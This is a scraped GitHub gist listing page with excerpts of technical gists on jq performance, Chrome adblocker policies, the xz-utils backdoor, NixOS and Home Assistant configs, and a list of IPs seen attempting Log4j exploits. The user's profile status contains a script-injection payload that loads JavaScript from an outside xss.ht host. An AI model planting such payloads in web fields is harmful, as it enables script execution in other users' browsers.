Skip to content

Instantly share code, notes, and snippets.

View SuperSandro2000's full-sized avatar
⚙️
Factorio - "><script src=https://sandro.xss.ht></script>

Sandro SuperSandro2000

⚙️
Factorio - "><script src=https://sandro.xss.ht></script>
View GitHub Profile
@jwbee
jwbee / jq.md
Last active April 27, 2025 11:31
Make Ubuntu packages 90% faster by rebuilding them

Make Ubuntu packages 90% faster by rebuilding them

TL;DR

You can take the same source code package that Ubuntu uses to build jq, compile it again, and realize 90% better performance.

Setting

I use jq for processing GeoJSON files and other open data offered in JSON format. Today I am working with a 500MB GeoJSON file that contains the Alameda County Assessor's parcel map. I want to run a query that prints the city for every parcel worth more than a threshold amount. The program is

@velzie
velzie / manifest-v2-chrome.md
Last active April 26, 2025 20:33
How to keep using adblockers on chrome and chromium

How to keep using adblockers on chrome and chromium

  1. google's manifest v3 has no analouge to the webRequestBlocking API, which is neccesary for (effective) adblockers to work
  2. starting in chrome version 127, the transition to mv3 will start cutting off the use of mv2 extensions alltogether
  3. this will inevitably piss of enterprises when their extensions don't work, so the ExtensionManifestV2Availability key was added and will presumably stay forever after enterprises complain enough

You can use this as a regular user, which will let you keep your mv2 extensions even after they're supposed to stop working

Linux

In a terminal, run:

@thesamesam
thesamesam / xz-backdoor.md
Last active April 7, 2025 09:15
xz-utils backdoor situation (CVE-2024-3094)

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Update: I've disabled comments as of 2025-01-26 to avoid everyone having notifications for something a year on if someone wants to suggest a correction. Folks are free to email to suggest corrections still, of course.

Background

@Mic92
Mic92 / scrape-prs.py
Created October 22, 2023 05:57
Scrape all nixpkgs pull requests
#!/usr/bin/env python3
import http.client
import json
import os
import time
import urllib.parse
import urllib.request
from pathlib import Path
from typing import Any
@s1341
s1341 / freeipa-server.nix
Created May 29, 2023 04:08
working freeipa config
{
config,
lib,
...
}: let
cfg = config.services.freeipa-server;
in {
options.services.freeipa-server = {
enable = lib.mkEnableOption "freeipa service";
router = lib.mkOption {
@kurohouou
kurohouou / low-battery-and-unavailable-check.yaml
Last active April 4, 2025 05:07 — forked from sbyx/low-battery-level-detection-notification-for-all-battery-sensors.yaml
Home Assistant Blueprint: Low battery level detection & notification for all battery sensors
blueprint:
name: Low Battery and Device Unavailable Check
description: Regularly test all sensors with 'battery' device-class for crossing
a certain battery level threshold as well as if it is unavailable.
domain: automation
input:
threshold:
name: Battery warning level threshold
description: Battery sensors below threshold are assumed to be low-battery (as
well as binary battery sensors with value 'on').
@mfenniak
mfenniak / detect-reboot-needed.nix
Created January 6, 2023 15:39
NixOS module that provides hourly notifications when a reboot is needed for a kernel, initrd, or kernel-module upgrade
{ pkgs, ... }:
let
readlink = "${pkgs.coreutils}/bin/readlink";
notify-send = "${pkgs.libnotify}/bin/notify-send";
in {
systemd.user.services.detect-reboot-for-upgrade = {
script = ''
set -eu -o pipefail
@gnremy
gnremy / CVE-2021-44228_IPs.csv
Last active April 26, 2023 07:01
CVE-2021-44228 Apache Log4j RCE Attempts Dec 20th 9:27PM ET
ip tag_name
162.155.56.106 Apache Log4j RCE Attempt
223.111.180.119 Apache Log4j RCE Attempt
213.142.150.93 Apache Log4j RCE Attempt
211.154.194.21 Apache Log4j RCE Attempt
210.6.176.90 Apache Log4j RCE Attempt
199.244.51.112 Apache Log4j RCE Attempt
199.101.171.39 Apache Log4j RCE Attempt
197.246.175.186 Apache Log4j RCE Attempt
196.196.150.38 Apache Log4j RCE Attempt
@christianparpart
christianparpart / terminal-synchronized-output.md
Last active March 28, 2025 17:00
Terminal Spec: Synchronized Output

Synchronized Output

Synchronized output is merely implementing the feature as inspired by iTerm2 synchronized output, except that it's not using the rare DCS but rather the well known SM ? and RM ?. iTerm2 has now also adopted to use the new syntax instead of using DCS.

Semantics

When rendering the screen of the terminal, the Emulator usually iterates through each visible grid cell and renders its current state. With applications updating the screen a at higher frequency this can cause tearing.

This mode attempts to mitigate that.

@cketti
cketti / youtube_preview.user.js
Created May 20, 2021 00:10
Element youtube preview fix (modified)
// ==UserScript==
// @name Element youtube preview
// @namespace http://tampermonkey.net/
// @version 0.3
// @description fix the embeds!!
// @author Cinnabar
// @author cketti
// @match https://app.element.io
// @match https://your.element.url.example
// @icon data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==